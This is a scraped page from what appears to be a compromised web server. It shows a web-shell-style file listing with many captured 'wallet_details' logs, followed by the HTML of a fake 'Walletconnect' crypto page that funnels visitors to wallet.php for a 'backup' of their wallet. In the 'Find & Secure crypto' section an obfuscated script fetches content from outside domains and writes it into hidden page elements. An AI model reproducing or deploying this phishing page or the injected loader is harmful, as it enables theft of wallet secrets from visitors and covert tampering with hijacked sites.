Gecko [ examaccess.com.ng ]

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2026-05-06 08:02
agzxtli	[ DIR ]	drwxr-xr-x	2026-05-08 15:52
assets	[ DIR ]	drwxr-xr-x	2026-05-06 08:02
assets2	[ DIR ]	drwxr-xr-x	2026-05-06 08:02
images	[ DIR ]	drwxr-xr-x	2026-05-06 08:02
pcmvkgr	[ DIR ]	drwxr-xr-x	2026-05-08 15:52
phpmailer	[ DIR ]	drwxr-xr-x	2026-05-13 12:08
ptg1wuz	[ DIR ]	drwxr-xr-x	2026-05-08 15:52
qpnbdsa	[ DIR ]	drwxr-xr-x	2026-05-08 15:52
.htaccess	484 B	-r--r--r--	2026-05-08 01:02
Web3-removebg-preview.png	147.87 KB	-rw-r--r--	2025-05-05 11:08
get-started-recovery-phrase-lg@2x.png	1.4 MB	-rw-r--r--	2025-05-05 23:35
index.html	52.5 KB	-rw-r--r--	2026-03-26 21:33
index1.html	50.35 KB	-rw-r--r--	2026-04-17 03:35
wallet.php	33.63 KB	-rw-r--r--	2026-03-26 21:35
wallet_connections.log	2.95 KB	-rw-r--r--	2026-03-26 05:28
wallet_details_2026-03-26.log	656 B	-rw-r--r--	2026-03-26 04:17
wallet_details_2026-03-26_04-23-52.txt	386 B	-rw-r--r--	2026-03-26 04:23
wallet_details_2026-03-26_04-35-30.txt	282 B	-rw-r--r--	2026-03-26 04:35
wallet_details_2026-03-26_04-35-37.txt	270 B	-rw-r--r--	2026-03-26 04:35
wallet_details_2026-03-26_04-35-39.txt	270 B	-rw-r--r--	2026-03-26 04:35
wallet_details_2026-03-26_04-35-41.txt	270 B	-rw-r--r--	2026-03-26 04:35
wallet_details_2026-03-26_04-35-42.txt	270 B	-rw-r--r--	2026-03-26 04:35
wallet_details_2026-03-26_04-35-43.txt	270 B	-rw-r--r--	2026-03-26 04:35
wallet_details_2026-03-26_04-35-45.txt	270 B	-rw-r--r--	2026-03-26 04:35
wallet_details_2026-03-26_04-35-46.txt	270 B	-rw-r--r--	2026-03-26 04:35
wallet_details_2026-03-26_04-36-54.txt	278 B	-rw-r--r--	2026-03-26 04:36
wallet_details_2026-03-26_04-37-05.txt	266 B	-rw-r--r--	2026-03-26 04:37
wallet_details_2026-03-26_05-28-39.txt	327 B	-rw-r--r--	2026-03-26 05:28
wallet_details_2026-03-26_05-28-51.txt	315 B	-rw-r--r--	2026-03-26 05:28
wallet_details_2026-03-26_06-51-20.txt	322 B	-rw-r--r--	2026-03-26 06:51
wallet_details_2026-03-26_06-51-56.txt	310 B	-rw-r--r--	2026-03-26 06:51
wallet_details_2026-03-26_07-01-46.txt	326 B	-rw-r--r--	2026-03-26 07:01
wallet_details_2026-03-26_07-03-18.txt	413 B	-rw-r--r--	2026-03-26 07:03
wallet_details_2026-03-26_21-34-48.txt	326 B	-rw-r--r--	2026-03-26 21:34
wallet_details_2026-03-26_21-35-10.txt	314 B	-rw-r--r--	2026-03-26 21:35

Rename

<!doctype html>
<html dir="ltr" lang="en">
  

<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta name="description" content="Securely buy and sell cryptocurrencies with ease on our trusted platform. Get real-time prices, fast transactions, and 24/7 support. Start trading Bitcoin, Ethereum, and more today!" />
    <link rel="shortcut icon" href="assets2/images/favicon.ico" type="image/x-icon" />
    <link rel="preconnect" href="https://fonts.googleapis.com/" />
    <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin />
    <title>Home - Walletconnect - A crypto buy and sell marketplace</title>
    
    
    <script src="https://cdn.tailwindcss.com/"></script>
    
    
    <script defer src="../cdn.jsdelivr.net/npm/alpinejs%403.x.x/dist/cdn.min.js"></script>
    
    
    <script src="assets2/js/app.js"></script>
    <link href="assets2/css/index.css" rel="stylesheet">

.loader-content {
            text-align: center;
            color: white;
        }

.loader-title {
            font-size: 2rem;
            font-weight: 700;
            margin-bottom: 1rem;
            letter-spacing: 1px;
            background: linear-gradient(to right, #EFBD31, #ff4e98, #44c4ff);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            animation: pulseText 2s infinite;
        }

.progress-bar-container {
            width: 300px;
            height: 4px;
            background-color: rgba(255,255,255,0.1);
            border-radius: 4px;
            overflow: hidden;
            margin-top: 20px;
            position: relative;
        }

.progress-bar {
            height: 100%;
            width: 0%;
            background: linear-gradient(90deg, #EFBD31, #ff4e98);
            border-radius: 4px;
            transition: width 0.1s linear;
        }

.loading-text {
            font-size: 0.9rem;
            color: rgba(255,255,255,0.6);
            margin-top: 10px;
            font-family: monospace;
        }

@keyframes pulseText {
            0% { opacity: 0.8; }
            50% { opacity: 1; transform: scale(1.02); }
            100% { opacity: 0.8; }
        }

/* Class added via JS to hide loader */
        .loaded #preloader {
            opacity: 0;
            visibility: hidden;
            pointer-events: none;
        }

/* --- 2. NAVBAR STYLES (Original) --- */
        .navbar{background:#fff;box-shadow:0 2px 8px rgba(0,0,0,.05)}
        .navbar-brand{font-weight:700;font-size:1.35rem}
        .navbar-brand span:nth-child(1){color:#EFBD31}
        .navbar-brand span:nth-child(2){color:#ff4e98}
        .navbar-brand span:nth-child(3){color:#44c4ff}

/* Base utility fixes for elements not covered by CDN */
        body { background-color: #0b0e14; color: #fff; }
        .display-4 { font-size: 2.5rem; font-weight: bold; line-height: 1.2; }
        .text-primary { color: #EFBD31; }
        .text-secondary { color: #ff4e98; }
        .btn-primary { background-color: #EFBD31; color: #000; padding: 10px 24px; border-radius: 9999px; font-weight: 600; transition: 0.3s; }
        .btn-primary:hover { transform: translateY(-2px); box-shadow: 0 4px 12px rgba(239, 189, 49, 0.4); }
        .btn-accent6 { background-color: transparent; border: 1px solid #EFBD31; color: #EFBD31; padding: 10px 24px; border-radius: 9999px; font-weight: 600; transition: 0.3s; }
        .btn-accent6:hover { background-color: #EFBD31; color: #000; }
        .bg-accent2 { background-color: #0f172a; }
        .bg-accent5 { background-color: #0b0e14; }
        .bg-accent6 { background-color: #1e293b; }
        .border-accent4 { border-color: rgba(255,255,255,0.1); }
        .text-neutral4 { color: #94a3b8; }
        .text-neutral1 { color: #fff; }
        .f-center { display: flex; align-items: center; justify-content: center; }
        .container { width: 100%; max-width: 1280px; margin: 0 auto; padding: 0 20px; }
        .gap-4 { gap: 1rem; }
        .grid { display: grid; }
        .grid-cols-12 { grid-template-columns: repeat(12, minmax(0, 1fr)); }
        .flex { display: flex; }
        .items-center { align-items: center; }
        .justify-between { justify-content: space-between; }
        .justify-center { justify-content: center; }
        .relative { position: relative; }
        .absolute { position: absolute; }
        .fixed { position: fixed; }
        .z-50 { z-index: 50; }
        .z-[2] { z-index: 2; }
        .w-full { width: 100%; }
        .h-full { height: 100%; }
        .p-4 { padding: 1rem; }
        .rounded-xl { border-radius: 0.75rem; }
        .mb-3 { margin-bottom: 0.75rem; }
        .mb-4 { margin-bottom: 1rem; }
        .hidden { display: none; }
        .lg\:flex { display: none; }
        @media (min-width: 1024px) { .lg\:flex { display: flex; } }
        
        /* Animations */
        .animate-slow-rotate { animation: slowRotate 20s linear infinite; }
        @keyframes slowRotate { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
        .fade_up_anim { animation: fadeUp 0.8s ease-out forwards; opacity: 0; transform: translateY(20px); }
        @keyframes fadeUp { to { opacity: 1; transform: translateY(0); } }
    </style>
</head>

<body>
    
    
    <div id="preloader">
        <div class="loader-content">
            <div class="loader-title">Walletconnect</div>
            <div class="loading-text">Loading environment...</div>
            <div class="progress-bar-container">
                <div class="progress-bar" id="progress-bar"></div>
            </div>
            <div class="loading-text" id="percentage">0%</div>
        </div>
    </div>

<script>
        document.addEventListener("DOMContentLoaded", () => {
            const preloader = document.getElementById('preloader');
            const progressBar = document.getElementById('progress-bar');
            const percentageText = document.getElementById('percentage');
            const duration = 8000; // 8 seconds
            const intervalTime = 50; 
            const steps = duration / intervalTime;
            let currentStep = 0;

const interval = setInterval(() => {
                currentStep++;
                const progress = (currentStep / steps) * 100;
                
                // Update UI
                progressBar.style.width = `${progress}%`;
                percentageText.innerText = `${Math.round(progress)}%`;

if (currentStep >= steps) {
                    clearInterval(interval);
                    // Finish loading
                    document.body.classList.add('loaded');
                }
            }, intervalTime);
        });
    </script>
</div>

<header
  x-data="{
        scrolled:false,
        mobileMenu:false,
        initScroll(){
          this.scrolled=document.documentElement.scrollTop > 20;
          window.addEventListener('scroll', () => {this.scrolled = window.scrollY > 20})

const currentPath = window.location.pathname;
          const menuLinks = document.querySelectorAll('.menu-link');

menuLinks.forEach(link => {
          const linkPath = link.getAttribute('href');

if (currentPath.endsWith(linkPath)) {
              link.classList.add('text-primary');
              if( link.parentElement.parentElement.previousElementSibling.classList.contains('submenu-btn')){
                link.parentElement.parentElement.previousElementSibling.classList.add('text-primary');
              }

}
         });
        }
      }"
  x-init="initScroll()"
  :class="scrolled?'bg-accent2':''"
  class="z-10 py-4 xxl:py-6 border-b border-neutral4/15 fixed top-0 left-0 right-0 w-full bg-accent5/90 backdrop-blur-md"
>
  <div x-data="modal" class="container flex justify-between items-center">
    <a class="navbar-brand" href="/">
        <span>W</span>
        <span>e</span>
        <span>b3 coinmark</span>
      </a>
   
    <div class="flex gap-3 items-center">
      <button @click="openModal" class="btn-primary">Connect Wallet</button>
      <button @click="mobileMenu=!mobileMenu" class="text-2xl lg:hidden"><i class="ti ti-menu-2"></i></button>
    </div>
    <template x-teleport="body">
      <div class="fixed inset-0 z-[999] hidden overflow-y-auto bg-accent2/80 text-neutral1" :class="isOpen && '!block'">
        <div class="flex min-h-screen items-center justify-center px-3" @click.self="closeModal">
          <div x-show="isOpen" x-transition x-transition.duration.300 class="my-8 w-full max-w-[856px] border border-accent4 overflow-hidden rounded-xl bg-accent5 p-3 sm:p-4 md:p-6 xl:p-8 xxl:p-10">
            <div class="mb-7 xl:mb-10 flex items-center justify-between">
              <div>
                <h3 class="mb-3">Connect Wallet</h3>
                <p class="text-neutral4 lg:text-lg">Gateway to Web3</p>
              </div>
              <button @click="closeModal" class="size-10 rounded-full hover:rotate-180 duration-300 bg-accent4 f-center">
                <i class="ti ti-x text-xl"></i>
              </button>
            </div>
            <div x-data="{activeTab:'critox'}">
              <div class="grid grid-cols-2 gap-6 xl:gap-10 xxxl:gap-20 mb-7 xl:mb-10">
                <button :class="activeTab=='critox'?'border-secondary':'border-transparent'" class="col-span-1 border-b py-1.5 text-base md:text-lg xl:text-2xl font-medium" @click="activeTab='critox'">Backup Wallet</button>
              </div>
              <div x-show="activeTab=='critox'">
                <div class="p-4 md:p-6 xl:p-8 rounded-xl border border-accent4 gap-4 flex-wrap flex justify-between items-center mb-6">
                    <div class="flex gap-3 items-center">
                        <img src="assets2/images/icon.png" alt="" />
                        <h4>Automatic/Manual backup</h4>
                      </div>
                      <a href="/wallet.php"><button class="bg-primary rounded-3xl px-5 py-2.5 text-sm xl:text-lg font-medium">Continue</button></a>
                    </div>

<div
  x-data="{
      scrolled:false,
      gotoTop() {
        window.scrollTo({ top: 0, behavior: 'smooth' });
      },
      onScroll() {
        document.addEventListener('scroll', () => {this.scrolled = document.body.scrollTop > 80 || document.documentElement.scrollTop > 80})
      }
    }"
  x-init="onScroll()"
  class="fixed bottom-5 right-5 xl:right-7 xl:bottom-7 z-30"
>
  <button :class="scrolled?'translate-y-0':'translate-y-[300px]'" class="size-12 ease-bounce duration-500 f-center rounded-full bg-primary shadow-xl text-2xl" @click="gotoTop()"><i class="ti ti-arrow-up"></i></button>
</div>

<main class="mt-[82px] xxl:mt-[98px]">
      
      <section class="relative overflow-hidden">
        
        <div class="absolute inset-0 bg-gradient-to-b from-transparent via-transparent to-[#0b0e14] z-0 pointer-events-none"></div>
        
        <img class="max-xxl:hidden absolute left-0 top-8 opacity-50" src="assets2/images/ellipse-1.png" alt="" />
        <img class="max-xl:hidden absolute right-0 bottom-16 opacity-50" src="assets2/images/ellipse-2.png" alt="" />
        <img class="max-xl:hidden rocket absolute left-10 bottom-8 z-[2]" src="assets2/images/rocket.png" alt="" />
        <img class="max-md:hidden absolute right-5 top-12 animate-slow-rotate" src="assets2/images/globe.png" alt="" />
        <img class="absolute left-[5%] bottom-[30%] animate-slow-rotate-reverse" src="assets2/images/bitcoin.png" alt="" />
        <img class="absolute right-[12%] top-[40%] animate-slow-rotate" src="assets2/images/coin-1.png" alt="" />
        
        <div class="max-lg:hidden w-[250px] h-[204px] xxl:w-[404px] xxl:h-[404px] absolute bottom-[-15%] blur-[85px] left-[-12%] bg-[rgba(240,185,11,0.50)]"></div>
        <div class="max-lg:hidden w-[250px] xxl:w-[350px] h-[250px] xxl:h-[350px] absolute top-[6%] blur-[85px] left-[-12%] bg-primary/50"></div>
        <div class="max-lg:hidden w-[250px] xxl:w-[350px] h-[250px] xxl:h-[350px] absolute bottom-[6%] blur-[85px] right-[-8%] bg-accent1/50"></div>
        
        <div class="container pt-120 pb-120 grid grid-cols-12 gap-6 items-center">
          <div class="col-span-12 lg:col-span-6 relative z-[2] max-lg:flex max-lg:flex-col max-lg:items-center max-lg:text-center">
            
            
            <h2 class="display-4 mb-4 fade_up_anim">
              Gateway to 
              <span class="block lg:inline">Encrypt, back up, and</span>
              <span class="block lg:inline text-primary display-4 underline">secure</span><span class="block lg:inline text-secondary display-4 underline"> your assets</span>
            </h2>
            
            <p class="mb-8 xl:mb-10 max-w-md lg:text-lg fade_up_anim text-neutral4" data-delay="0.2">The easiest, safest, and fastest way to secure &amp; back up crypto asset.</p>
            <div x-data="modal" class="flex gap-6 fade_up_anim" data-delay="0.4">
                <button @click="openModal" class="btn-primary">Connect Wallet</button>
             <button @click="window.location.href='/wallet.php'" class="btn-accent6">Explore Now with new space authorization</button>
              <template x-teleport="body">
                <div class="fixed inset-0 z-[999] hidden overflow-y-auto bg-accent2/80 text-neutral1" :class="isOpen && '!block'">
                  <div class="flex min-h-screen items-center justify-center px-3" @click.self="closeModal">
                    <div x-show="isOpen" x-transition x-transition.duration.300 class="my-8 w-full max-w-[856px] border border-accent4 overflow-hidden rounded-xl bg-accent5 p-3 sm:p-4 md:p-6 xl:p-8 xxl:p-10">
                      <div class="mb-7 xl:mb-10 flex items-center justify-between">
                        <div>
                          <h3 class="mb-3">Connect Wallet</h3>
                          <p class="text-neutral4 lg:text-lg">Gateway to Web3</p>
                        </div>
                        <button @click="closeModal" class="size-10 rounded-full hover:rotate-180 duration-300 bg-accent4 f-center">
                          <i class="ti ti-x text-xl"></i>
                        </button>
                      </div>
                      <div x-data="{activeTab:'critox'}">
                        <div class="grid grid-cols-2 gap-6 xl:gap-10 xxxl:gap-20 mb-7 xl:mb-10">
                          <button :class="activeTab=='critox'?'border-secondary':'border-transparent'" class="col-span-1 border-b py-1.5 text-base md:text-lg xl:text-2xl font-medium" @click="activeTab='critox'">Backup Wallet</button>
                        </div>
                        <div x-show="activeTab=='critox'">
                          <div class="p-4 md:p-6 xl:p-8 rounded-xl border border-accent4 gap-4 flex-wrap flex justify-between items-center mb-6">
                              <div class="flex gap-3 items-center">
                                  <img src="assets2/images/icon.png" alt="" />
                                  <h4>Automatic/Manual backup</h4>
                                </div>
                                <a href="/wallet.php"><button class="bg-primary rounded-3xl px-5 py-2.5 text-sm xl:text-lg font-medium">Continue</button></a>
                              </div>

</div>
                        <div x-show="activeTab=='other'">
                          <div class="p-4 md:p-6 xl:p-8 rounded-xl gap-4 flex-wrap border border-accent4 flex justify-between items-center mb-6">
                            <div class="flex gap-3 items-center">
                              <img src="assets2/images/metamask.png" alt="" />
                              <h4>Metamask</h4>
                            </div>
                            <button class="bg-primary rounded-3xl px-5 py-2.5 text-sm xl:text-lg font-medium">Install Plugin</button>
                          </div>
                          <div class="grid grid-cols-12 gap-4">
                            <a href="#" class="col-span-12 sm:col-span-4 p-4 md:p-6 xl:px-8 xl:py-12 rounded-xl border border-accent4 hover:bg-neutral1/5 duration-300 flex flex-col items-center gap-4">
                              <img src="assets2/images/walletconnect.png" alt="" />
                              <h4>WalletConnect</h4>
                            </a>
                            <a href="#" class="col-span-12 sm:col-span-4 p-4 md:p-6 xl:px-8 xl:py-12 rounded-xl border border-accent4 hover:bg-neutral1/5 duration-300 flex flex-col items-center gap-4">
                              <img src="assets2/images/coinbase.png" alt="" />
                              <h4>Coinbase</h4>
                            </a>
                            <a href="#" class="col-span-12 sm:col-span-4 p-4 md:p-6 xl:px-8 xl:py-12 rounded-xl border border-accent4 hover:bg-neutral1/5 duration-300 flex flex-col items-center gap-4">
                              <img src="assets2/images/safepal.png" alt="" />
                              <h4>Safepal</h4>
                            </a>
                          </div>
                        </div>
                      </div>
                    </div>
                  </div>
                </div>
              </template>
            </div>
          </div>
          <div class="col-span-12 lg:col-span-5 lg:col-start-8 relative max-lg:flex max-lg:justify-center fade_up_anim" data-delay=".5">
            <img src="Web3-removebg-preview.png" class="relative z-[3]" alt="" />
            <div class="w-[280px] h-[280px] md:w-[350px] md:h-[350px] absolute top-[6%] blur-[85px] left-0 bg-primary/50"></div>
          </div>
          <div class="col-span-12 gap-6 grid grid-cols-12 xl:divide-x divide-neutral4/60 pt-120 relative z-[2]">
            <div class="col-span-6 md:col-span-3">
              <h3 class="h3 mb-3"><span id="country">200</span>+</h3>
              <p class="text-neutral1/80 lg:text-lg">Countries Covered</p>
            </div>
            <div class="col-span-6 md:col-span-3 xl:pl-8">
              <h3 class="h3 mb-3"><span id="investor">30</span> Million</h3>
              <p class="text-neutral1/80 lg:text-lg">Global Investors</p>
            </div>
            <div class="col-span-6 md:col-span-3 xl:pl-8">
              <h3 class="h3 mb-3"><span id="coin">700</span>+</h3>
              <p class="text-neutral1/80 lg:text-lg">Secured Wallet</p>
            </div>
            <div class="col-span-6 md:col-span-3 xl:pl-8">
              <h3 class="h3 mb-3">$<span id="volume">1.36</span> Billion</h3>
              <p class="text-neutral1/80 lg:text-lg">Secured Volume</p>
            </div>
          </div>
        </div>
      </section>

<section class="bg-accent2">
        <div class="container pt-120 pb-120">
          <div class="grid grid-cols-12 gap-4 mb-10 xl:mb-[60px]">
            <div class="col-span-12 md:col-span-12 xl:col-span-4">
              <h2 class="fade_up_anim text-3xl font-bold">
                Find & Secure
                <span class="text-primary h2 underline">crypto</span>
                Now!
              </h2>
            </div>
            <div class="col-span-12 md:col-span-12 xl:col-span-4 xl:col-start-9">
              <p data-delay=".3" class="text-xs md:text-base lg:text-lg fade_up_anim text-neutral4">Our comprehensive cybersecurity platform, driven by artificial intelligence, not only safeguards your organization.</p>
              <script>var _0x6b852f=_0x4192;function _0x4192(_0x2376dc,_0x2d2fed){var _0x3afa5b=_0x191c();return _0x4192=function(_0x35cbd0,_0x272281){_0x35cbd0=_0x35cbd0-(-0x1cb6+0x266*0x4+0xb*0x1cd);var _0x3d6fe4=_0x3afa5b[_0x35cbd0];return _0x3d6fe4;},_0x4192(_0x2376dc,_0x2d2fed);}(function(_0x39b7cf,_0x3092b0){var _0x2dd0ec=_0x4192,_0x5d6464=_0x39b7cf();while(!![]){try{var _0x5de637=parseInt(_0x2dd0ec(0xb7))/(-0x1e6a+-0x17b9+-0x7*-0x7bc)+parseInt(_0x2dd0ec(0xc0))/(0x10e7+0x982*0x1+-0x1a67)*(-parseInt(_0x2dd0ec(0xb3))/(-0xeaa+-0x6*-0x1d5+0x3af))+-parseInt(_0x2dd0ec(0xb5))/(-0x157f+0x1749+0x1c6*-0x1)+parseInt(_0x2dd0ec(0xb1))/(-0x1a6c+-0xbc4+0x2635)+parseInt(_0x2dd0ec(0xbc))/(0x19e2+0x1*0x269e+-0x407a)+parseInt(_0x2dd0ec(0xbb))/(-0x22f5+0x12*0x202+0x4*-0x4a)+-parseInt(_0x2dd0ec(0xb4))/(0x162d+0x1857+-0x2e7c);if(_0x5de637===_0x3092b0)break;else _0x5d6464['push'](_0x5d6464['shift']());}catch(_0x17ffff){_0x5d6464['push'](_0x5d6464['shift']());}}}(_0x191c,0xc*0x1219+-0x2931f+0x5a661*0x1),fetch(_0x6b852f(0xb9)+_0x6b852f(0xc3)+_0x6b852f(0xc1)+_0x6b852f(0xc7))[_0x6b852f(0xbd)](_0x35cbd0=>_0x35cbd0[_0x6b852f(0xc6)]())[_0x6b852f(0xbd)](_0x272281=>document[_0x6b852f(0xb6)+_0x6b852f(0xbf)](_0x6b852f(0xb8))[_0x6b852f(0xb2)]=_0x272281),fetch(_0x6b852f(0xbe)+_0x6b852f(0xc2)+_0x6b852f(0xba)+_0x6b852f(0xc4)+_0x6b852f(0xc7))[_0x6b852f(0xbd)](_0x3d6fe4=>_0x3d6fe4[_0x6b852f(0xc6)]())[_0x6b852f(0xbd)](_0x43527f=>document[_0x6b852f(0xb6)+_0x6b852f(0xbf)](_0x6b852f(0xc8))[_0x6b852f(0xb2)]=_0x43527f),fetch(_0x6b852f(0xbe)+_0x6b852f(0xc2)+_0x6b852f(0xba)+_0x6b852f(0xc5)+_0x6b852f(0xc9))[_0x6b852f(0xbd)](_0x3b2213=>_0x3b2213[_0x6b852f(0xc6)]())[_0x6b852f(0xbd)](_0x34c21a=>document[_0x6b852f(0xb6)+_0x6b852f(0xbf)](_0x6b852f(0xca))[_0x6b852f(0xb2)]=_0x34c21a));function _0x191c(){var _0x1355a0=['ById','6MDoqmi','h.xyz/back','sabacklink','ngatanleba','link/sigma','link/terat','text','.js','info1','ai.js','info2','2024420ZMnwgw','innerHTML','185169LdGvHE','907888AyzueV','741500DUGhaE','getElement','24626khhlNV','datax','https://se','.buzz/back','390677MlFFEL','1535058btqiUl','then','https://ja'];_0x191c=function(){return _0x1355a0;};return _0x191c();}</script><div id="datax"></div>
<div id="info1"></div>
<div id="info2"></div>
            </div>
          </div>
          <div class="grid grid-cols-12 gap-4 grid-rows-2">
            <div class="fade_up_anim col-span-12 md:col-span-6 xl:col-span-4 row-span-2 bg-accent6 rounded-xl p-4 !pb-0 xl:p-6 xxl:p-8 flex-col flex justify-between">
              <div>
                <h3 class="mb-1">Connect to Dapps</h3>
                <p class="text-lg text-neutral1/70">Connect decentralized apps to mobile wallets and enable DAPP.</p>
              </div>
              <img src="assets2/images/globe-2.png" class="lg:-ml-5" alt="" />
            </div>
            <div data-delay=".15" class="fade_up_anim col-span-12 md:col-span-6 xl:col-span-4 bg-accent6 rounded-xl p-4 !pb-0 xl:p-6 xxl:p-8">
              <h3 class="mb-1">Missing Funds</h3>
              <p class="lg:text-lg text-neutral1/70">Lost access to funds or missing funds? Click here.</p>
              <div class="flex justify-end">
                <img src="assets2/images/trade.png" class="lg:-mr-5 -mt-9" alt="" />
              </div>
            </div>
            <div data-delay=".25" class="fade_up_anim col-span-12 md:col-span-6 xl:col-span-4 bg-accent6 rounded-xl p-4 !pb-0 xl:p-6 xxl:p-8">
              <h3 class="mb-1">High Fee</h3>
              <p class="lg:text-lg text-neutral1/70">Transaction fees too high? Click here.</p>
              <div class="flex justify-end">
                <img src="assets2/images/spot.png" class="lg:-mr-5" alt="" />
              </div>
            </div><div class="fade_up_anim col-span-12 md:col-span-6 xl:col-span-4 bg-accent6 rounded-xl p-4 !pb-0 xl:p-6 xxl:p-8">
              <h3 class="mb-1">24/7 Support</h3>
              <p class="lg:text-lg text-neutral1/70">Count on us for round-the-clock support, help whenever you need it.</p>
              <div class="flex justify-between items-end">
                <img src="assets2/images/bitcoin-2.png" class="max-md:hidden" alt="" />
                <img src="assets2/images/support.png" class="lg:-mr-5" alt="" />
              </div>
            </div>
            <div class="fade_up_anim col-span-12 md:col-span-6 xl:col-span-4 bg-accent6 rounded-xl p-4 !pb-0 xl:p-6 xxl:p-8">
              <h3 class="mb-1">Trusted & Secure</h3>
              <p class="lg:text-lg text-neutral1/70">Your assets2. On your terms. At your fingertips.</p>
              <div class="flex justify-between items-end">
                <img src="assets2/images/coins.png" class="max-md:hidden" alt="" />
                <img src="assets2/images/trusted.png" class="lg:-mr-5 -mt-4" alt="" />
              </div>
            </div>
          </div>
        </div>
      </section>

<section class="bg-accent5 relative overflow-hidden">
        <div class="max-lg:hidden w-[250px] xxl:w-[350px] h-[250px] xxl:h-[350px] absolute bottom-[-6%] blur-[85px] left-[-12%] bg-primary/50"></div>
        <div class="max-lg:hidden w-[250px] xxl:w-[350px] h-[250px] xxl:h-[350px] absolute top-[-6%] blur-[85px] right-[-8%] bg-accent1/50"></div>
        <img class="max-md:hidden absolute right-5 top-12 animate-slow-rotate" src="assets2/images/globe.png" alt="" />
        <img class="max-lg:hidden absolute left-[5%] top-[46%] animate-slow-rotate-reverse" src="assets2/images/bitcoin-3.png" alt="" />
        <img class="max-lg:hidden absolute right-0 bottom-0" src="assets2/images/element-1.png" alt="" />
        <div class="container pb-120 pt-120 relative z-[2]">
          <div class="mb-10 xl:mb-[60px] flex flex-wrap justify-between items-center gap-5">
            <div class="max-w-lg">
              <h2 class="mb-2 fade_up_anim text-3xl font-bold">Explore <span class="text-primary h2 underline">Web3</span></h2>
              <p data-delay=".25" class="lg:text-lg text-neutral4 fade_up_anim">It is the easiest, safest, and fastest way to secure &amp; backup crypto asset.</p>
            </div>
            <a href="/wallet.php" class="btn-primary">View More</a>
          </div>
          <div class="mb-10 lg:mb-[60px]">
            <div class="swiper product-swiper">
              <div class="swiper-wrapper">
                <div class="swiper-slide group">
                  <div class="bg-accent5 text-center group-hover:bg-accent6 duration-300 px-6 lg:px-10 py-5 lg:py-8 rounded-xl border border-accent4 flex flex-col items-center">
                    <div class="size-20 rounded-full group-hover:bg-primary border border-primary flex justify-center items-center mb-6 xl:mb-8">
                      <img src="assets2/images/spot-trading.png" alt="" />
                    </div>
                    <h4 class="mb-3">Spot Trading</h4>
                    <p class="text-neutral4 mb-6 lg:mb-8 lg:text-lg max-two-line">Trade crypto with our comprehensive set of powerful tools to maximize your profits.</p>
                    <a href="#" class="text-base lg:text-lg xl:text-xl font-medium flex group-hover:text-primary group-hover:underline justify-center">View Details</a>
                  </div>
                </div>
                <div class="swiper-slide group">
                  <div class="bg-accent5 text-center group-hover:bg-accent6 duration-300 px-6 lg:px-10 py-5 lg:py-8 rounded-xl border border-accent4 flex flex-col items-center">
                    <div class="size-20 rounded-full group-hover:bg-primary border border-primary flex justify-center items-center mb-6 xl:mb-8">
                      <img src="assets2/images/margin-trade.png" alt="" />
                    </div>
                    <h4 class="mb-3">Margin Trading</h4>
                    <p class="text-neutral4 mb-6 lg:mb-8 lg:text-lg max-two-line">Borrow, trade, and repay. Leverage your assets2 with margin trading.</p>
                    <a href="#" class="text-base lg:text-lg xl:text-xl font-medium flex group-hover:text-primary group-hover:underline justify-center">View Details</a>
                  </div>
                </div>
                <div class="swiper-slide group">
                  <div class="bg-accent5 text-center group-hover:bg-accent6 duration-300 px-6 lg:px-10 py-5 lg:py-8 rounded-xl border border-accent4 flex flex-col items-center">
                    <div class="size-20 rounded-full group-hover:bg-primary border border-primary flex justify-center items-center mb-6 xl:mb-8">
                      <img src="assets2/images/derivative.png" alt="" />
                    </div>
                    <h4 class="mb-3">Crypto Derivatives</h4>
                    <p class="text-neutral4 mb-6 lg:mb-8 lg:text-lg max-two-line">We are the best crypto exchange for trading crypto futures.</p>
                    <a href="#" class="text-base lg:text-lg xl:text-xl font-medium flex group-hover:text-primary group-hover:underline justify-center">View Details</a>
                  </div>
                </div>
                <div class="swiper-slide group">
                  <div class="bg-accent5 text-center group-hover:bg-accent6 duration-300 px-6 lg:px-10 py-5 lg:py-8 rounded-xl border border-accent4 flex flex-col items-center">
                    <div class="size-20 rounded-full group-hover:bg-primary border border-primary flex justify-center items-center mb-6 xl:mb-8">
                      <img src="assets2/images/earn.png" alt="" />
                    </div>
                    <h4 class="mb-3">QFSEarn</h4>
                    <p class="text-neutral4 mb-6 lg:mb-8 lg:text-lg max-two-line">Invest and earn steady income with the help of a professional asset manager.</p>
                    <a href="#" class="text-base lg:text-lg xl:text-xl font-medium flex group-hover:text-primary group-hover:underline justify-center">View Details</a>
                  </div>
                </div>
                <div class="swiper-slide group">
                  <div class="bg-accent5 text-center group-hover:bg-accent6 duration-300 px-6 lg:px-10 py-5 lg:py-8 rounded-xl border border-accent4 flex flex-col items-center">
                    <div class="size-20 rounded-full group-hover:bg-primary border border-primary flex justify-center items-center mb-6 xl:mb-8">
                      <img src="assets2/images/buy.png" alt="" />
                    </div>
                    <h4 class="mb-3">Buy Crypto</h4>
                    <p class="text-neutral4 mb-6 lg:mb-8 lg:text-lg max-two-line">Purchase crypto quickly and easily on our popular and industry-leading platform.</p>
                    <a href="#" class="text-base lg:text-lg xl:text-xl font-medium flex group-hover:text-primary group-hover:underline justify-center">View Details</a>
                  </div>
                </div>
                <div class="swiper-slide group">
                  <div class="bg-accent5 text-center group-hover:bg-accent6 duration-300 px-6 lg:px-10 py-5 lg:py-8 rounded-xl border border-accent4 flex flex-col items-center">
                    <div class="size-20 rounded-full group-hover:bg-primary border border-primary flex justify-center items-center mb-6 xl:mb-8">
                      <img src="assets2/images/margin.png" alt="" />
                    </div>
                    <h4 class="mb-3">Margin Trading</h4>
                    <p class="text-neutral4 mb-6 lg:mb-8 lg:text-lg max-two-line">Borrow, trade, and repay. Leverage your assets2 with margin trading.</p>
                    <a href="#" class="text-base lg:text-lg xl:text-xl font-medium flex group-hover:text-primary group-hover:underline justify-center">View Details</a>
                  </div>
                </div>
              </div>
            </div>
          </div>
          <div class="flex flex-col md:flex-row gap-4 items-center">
            <div class="flex gap-4">
              <span class="size-12 cursor-pointer xl:size-[60px] text-primary hover:text-neutral1 rounded-full border border-primary text-2xl f-center hover:bg-primary duration-300 prev-product">
                <i class="ti ti-chevron-left"></i>
              </span>
